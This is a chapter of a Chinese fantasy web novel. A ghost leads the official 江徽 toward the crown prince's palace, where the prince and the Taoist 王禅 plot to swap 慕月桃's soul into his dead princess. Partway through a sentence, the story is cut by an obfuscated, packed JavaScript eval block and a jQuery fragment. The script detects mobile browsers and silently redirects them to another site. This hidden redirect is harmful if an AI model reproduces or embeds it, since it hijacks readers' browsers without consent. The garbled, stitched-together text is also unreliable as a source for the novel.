51. 一己私欲
作品:《她有阴阳眼》 小菇在地底下一头盲冲,感应到热源越渐强烈,仰身飞出地面,马不停蹄地搜索这座大房子的主人。
书房内充斥着沉重的气氛,江徽厉声命令着:“搜罗全城,即便翻个底朝天,也要把人找出来!”
一批暗卫得令散去,房内归于孤寂。江徽阴沉地捂额坐下,悔恨前头退缩的行为,如果他再坚定一点,如果他再蛮不讲理一点,事情是否就不会发生?
再多懊恼的话都无济于事,江徽眸光森冷地起身,摊开书案上收集的信息,梳理可疑之人。
“荣尧自顾不暇,没胆子做这种事。郑域之一介文官,无一兵可用,洪安伯行事谨慎,但无为女出气的可能,”江徽翻出洪安伯府的布局图,推算着可以藏身的角落,他脑中倏忽闪过一个名字,“抚南候府依附太子,手下有一支军队,鬼蜮伎俩,像是他们的作风。”
若真是他们所为……江徽眼底暴戾尽显,手下纸张皱成一团。
他面部轮廓紧绷,跨步抽出长剑,屏息抚摸剑身,寒光凛凛的剑刃映入冷眸,衬得像尸山血海中走出的杀神。
小菇刚从地面伸头出来,冷不伶仃瞧见这么恐怖的画面,然后心惊肉跳地捂紧脑袋,矮身下去。
“我滴个娘咧,慕月桃都认识了什么人?!”
害怕归害怕,救人要紧。小菇狠心一咬牙,鼓起勇气闭眼站起,提心吊胆地眯眼偷瞄现状,好在江徽把长剑插回剑鞘,坐到案桌整理文书。
“虽然会把人吓死,但是不管了!”
小菇决定放手一搏,呼出一口阴气握在掌心,凝神念咒,用力掷向江徽的眼睛。
本打算执笔写信的江徽眼前一凉,怪异的触感蔓延双目,他再次掀开眼帘时,面前竟多出了一个穿着鲜艳衣裙、头扎双螺髻的姑娘。
“你是谁?”江徽冷声发问,手上动作极快,拔出寒剑对准她。
“哎呦,我的天呐,你快把那玩意放下!”小菇大声尖叫,急地原地团团转。
小菇下意识想遁身躲着,可是救人要紧,不得不面对这一幕。所以它给自己壮着胆子,梗着脖子,大声喊道:“你这玩意对我没用,我,我可是来带你去救人的!”
江徽长眼一眯,警惕地观察它的神情,视线由上而下,只见它裙摆悬浮,地板干干净净,不见任何影子,他心中大骇不已——它是鬼魂!
内心的震惊久久不能平息,即便听慕月桃说过不少有关鬼魂的事,可真当他亲眼目睹,仍然会感到十分不可思议。
原来……鬼魂是长这样的?
“你怎会知晓慕姑娘下落?”江徽稍微稳住心神,质疑地紧盯着它,不能排除这是鬼怪耍人的把戏。
“不是,你就这个态度对待帮手?我是喜欢戏弄人,但我在正事上绝不含糊!”见他疑心不减的模样,小菇差点气笑了,也不怕那把利剑,悻悻骂道,“你要杀就去杀那个死道士,你以为我乐意见你啊?”
道士?江徽随手把剑收进鞘中,眉宇低压,沉声问它:“你指的是王禅?”
“没错!”
居然是他!王禅那獐头鼠目的长相,惨无人道的手法仿佛浮现在眼前,江徽心头遽然一紧。
“王禅人在哪里?”
没了寒光利刃的威胁,小菇乱成浆糊的脑袋,可算通畅了些许,不加思索地回答:“皇宫!”
从未想到的地点迎面而来,江徽瞳孔蓦然一缩,紧急抽出压在底下的文书翻看。一封接着一封,上面描述王禅近几年的踪迹,以及成思量这些年异常的表现,件件重叠,答案呼之欲出。
他几乎能预想什么不得了的后果,猛然跑到窗边,放出一声尖锐的鸣炮,召集暗卫归府。
江徽扭头沉重地看着小菇,“你确定是太子所为?”
“你怎么猜到王禅去了东宫?”
小菇有点佩服他的思路,忽然被他凌厉的眼神打的一激灵,意识他接下来可能会做的打算,马上一股脑把事情经过说了出来。
“我本想投胎前送别一下慕月桃的,无意间在路边嗅到王禅的气味,一路追踪过去,目睹了劫人的全过程。王禅似乎发现了我,所以我躲在地下跟踪他们。直到他们气息彻底断掉,我才发现来到了东宫。”
“什么情况会断掉行踪?”
小菇的表情变得有些严肃,“是人是鬼都有独特的气息,除非咒术刻意隐藏,那道士一看就不是好东西,手里肯定有类似的符咒。”
“你有解除之法吗?”江徽是亲自对付王禅的人,虽然见识过那些乱七八糟的术法,可对其了解甚少。
“没有,我来找你之前去了一趟城隍庙,城隍爷都感应不到他们的气息,”小菇神情凝重地看着他,有点不忍告诉他事实,“城隍爷让我来找你,说是慕月桃一定还在东宫之内,需要靠你们凡人去查,而且我们必须要在王禅得逞之前,找到藏身之处。”
江徽神色冷峻,“我会的。”
“不会的!”成思量的咆哮响彻四周,而后是劈里啪啦的破碎声,他狠声质问,“你不说收集魂魄,归还原体,她就能复活吗!为什么没有成功?!”
“殿下,三年前公主自刎而亡,魂魄离体太久,恐怕原身不可用了。”王禅似乎在惧怕着他的怒火,声线颤抖。
一声陶瓷砸地的震响,成思量失去了原有的儒雅,语气阴沉可怕,“你什么意思?”
王禅好像打个哆嗦,连声求饶地大喊:“殿下息怒,还有一个办法!找到纯阴之体的女子,调换魂魄,公主即可复活。”
这次是刀剑掉下地面的铿锵音,一阵踉踉跄跄地脚步接近,周遭陷入了一个拥抱,上头传来成思量痛苦万分的声音,“对不起,我一定会让你回来的。”
“殿下,此乃上古秘术,以小人目前道行恐难实施,望请殿下允小人出宫修炼。”王禅的嗓音多了丝紧张。
“我会安排好事宜,你最好不要让我等太久。”成思量的语气冷漠又带着震慑,王禅感恩戴德地保证后,四周便只剩
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16979370|192749||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
下成思量的抽泣声。
慕月桃不清楚自己身处何地,环境逼仄,手脚不方便动弹。眼前黑乎乎一片,摸不着东西,看不见所有,唯有耳朵能听见外头的事物。
有时候是宫女窸窸窣窣的打扫声,太监进进出出的禀报,或者脱鞋上床,掀被子下床的动静。这些生活琐事的噪音,并没有让人感到什么不适,除了成思量日复一日的低语,无穷无尽的思念让慕月桃恶寒。
“我会为弹奏无与伦比的乐曲,你只要肯醒来。”
“我买了很多你喜欢的白色衣裳,往后你不用怕弄脏而不舍得穿了。”
“你说过要再与我比试的,下次的奖励想要选择什么呢?”
“你能否听到我说话?我好想听见你的声音啊。”
“你为什么不肯理我!王禅说了,魂魄齐全,灵魂可感官一切,”成思量开始吼叫着,瓷器碎了好几个,他似乎发泄完脾气,而后堕入悲痛之中,“你会回来的,绝对会。”
这种逐渐癫狂的执拗话术,慕月桃每听见一次,心里都不自觉涌上一种种强烈的情绪,愤恨、不甘、厌恶,还有不明不白的悲伤。
她好像知道来到了什么地方,逼仄的环境是那个白坛子,外面的噪音是东宫寝室,而那些难以制止的情绪,是玉堂春所产生的感受。
她稀里糊涂地进入了玉堂春的回忆中……
“这便是你两年的成果?”接着是一击□□的闷声,有人摔倒在地板,成思量怒不可遏地指责,“你做的那些事情,我可以睁一眼闭一眼,找人给你顶罪,但你手脚不干净,行事也不利索?若是功亏一篑,手刃你也难以泄愤!”
“殿下息怒,小人虽事件败露,却得到了意外之喜,纯阴之人出现了!”王禅说出的话有些费劲,但难掩其中的兴奋之意。
“这是你最后的机会。”
“是,待我恢复元气,定将她献给殿下!”
困在桎梏中的慕月桃突然心神不宁,她想跑出去遏制他们的行为,手脚却怎么都撑不开,只能束手无策地听着他们的阴谋。
“她就是你说的纯阴之体?”成思量的态度远没有初见时温和。
“没错,她的阴阳眼和护身法器,足以证明一切。”
“好。”
成思量的脚步声慢慢靠近,慕月桃又听见他用温柔的语气说着瘆人的话:“我的玉兰花,无论你换作什么面孔,我都会一一接受,只要你能活着。”
“你个混蛋!”慕月桃深恶痛绝地怒吼,再也无法忍受他的偏执,明明王禅能绳之以法,明明她可以好好生活!
全因他一己私欲,强行拘留魂魄,放任王禅四处作恶,导致生灵涂炭。他可曾问过玉堂春真正的想法!
“快点我出去!”慕月桃拼命挣扎着,手脚并用捶打周遭,她不能眼睁睁看着自己灰飞烟灭,阿娘还在等着她的消息!
每一拳都像打在空气中,喊出的声音没有落地,慕月桃咬牙挥拳,她不要就这样等死!

